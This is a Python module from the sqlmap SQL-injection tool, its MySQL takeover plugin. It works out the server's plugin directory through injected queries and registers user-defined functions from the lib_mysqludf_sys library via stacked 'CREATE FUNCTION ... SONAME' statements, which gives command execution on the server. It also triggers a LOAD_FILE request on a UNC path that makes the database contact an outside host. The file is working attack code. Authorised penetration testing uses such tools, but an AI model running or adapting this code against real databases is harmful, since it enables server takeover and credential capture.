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113 lines
4.4 KiB
Python
113 lines
4.4 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
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See the file 'doc/COPYING' for copying permission
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"""
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import re
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from lib.core.agent import agent
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from lib.core.common import isTechniqueAvailable
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from lib.core.common import normalizePath
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from lib.core.common import ntToPosixSlashes
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from lib.core.common import randomStr
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import paths
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from lib.core.enums import PAYLOAD
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from lib.request import inject
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from lib.request.connect import Connect as Request
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from plugins.generic.takeover import Takeover as GenericTakeover
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class Takeover(GenericTakeover):
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def __init__(self):
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self.__basedir = None
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self.__datadir = None
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GenericTakeover.__init__(self)
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def udfSetRemotePath(self):
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self.getVersionFromBanner()
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banVer = kb.bannerFp["dbmsVersion"]
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# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
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if banVer >= "5.1.19":
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if self.__basedir is None:
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logger.info("retrieving MySQL base directory absolute path")
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# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
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self.__basedir = inject.getValue("SELECT @@basedir")
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if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
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kb.os = "Windows"
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else:
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kb.os = "Linux"
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# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
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if kb.os == "Windows":
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self.__basedir += "/lib/plugin"
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else:
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self.__basedir += "/lib/mysql/plugin"
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self.__basedir = ntToPosixSlashes(normalizePath(self.__basedir))
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self.udfRemoteFile = "%s/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt)
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logger.warn("this will only work if the database administrator created manually the '%s' subfolder" % self.__basedir)
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# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
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# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
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else:
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#logger.debug("retrieving MySQL data directory absolute path")
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# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
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#self.__datadir = inject.getValue("SELECT @@datadir")
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# NOTE: specifying the relative path as './udf.dll'
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# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
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self.__datadir = "."
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self.__datadir = ntToPosixSlashes(normalizePath(self.__datadir))
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# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
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# C:\WINDOWS\system32, @@basedir\bin or @@datadir
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self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
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def udfSetLocalPaths(self):
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self.udfLocalFile = paths.SQLMAP_UDF_PATH
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self.udfSharedLibName = "libs%s" % randomStr(lowercase=True)
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if kb.os == "Windows":
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self.udfLocalFile += "/mysql/windows/32/lib_mysqludf_sys.dll"
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self.udfSharedLibExt = "dll"
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else:
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self.udfLocalFile += "/mysql/linux/32/lib_mysqludf_sys.so"
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self.udfSharedLibExt = "so"
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def udfCreateFromSharedLib(self, udf, inpRet):
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if udf in self.udfToCreate:
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logger.info("creating UDF '%s' from the binary UDF file" % udf)
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ret = inpRet["return"]
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# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
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inject.goStacked("DROP FUNCTION %s" % udf)
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inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt))
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self.createdUdf.add(udf)
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else:
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logger.debug("keeping existing UDF '%s' as requested" % udf)
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def uncPathRequest(self):
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if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
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query = agent.prefixQuery("AND LOAD_FILE('%s')" % self.uncPath)
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query = agent.suffixQuery(query)
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payload = agent.payload(newValue=query)
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Request.queryPage(payload)
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else:
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inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True)
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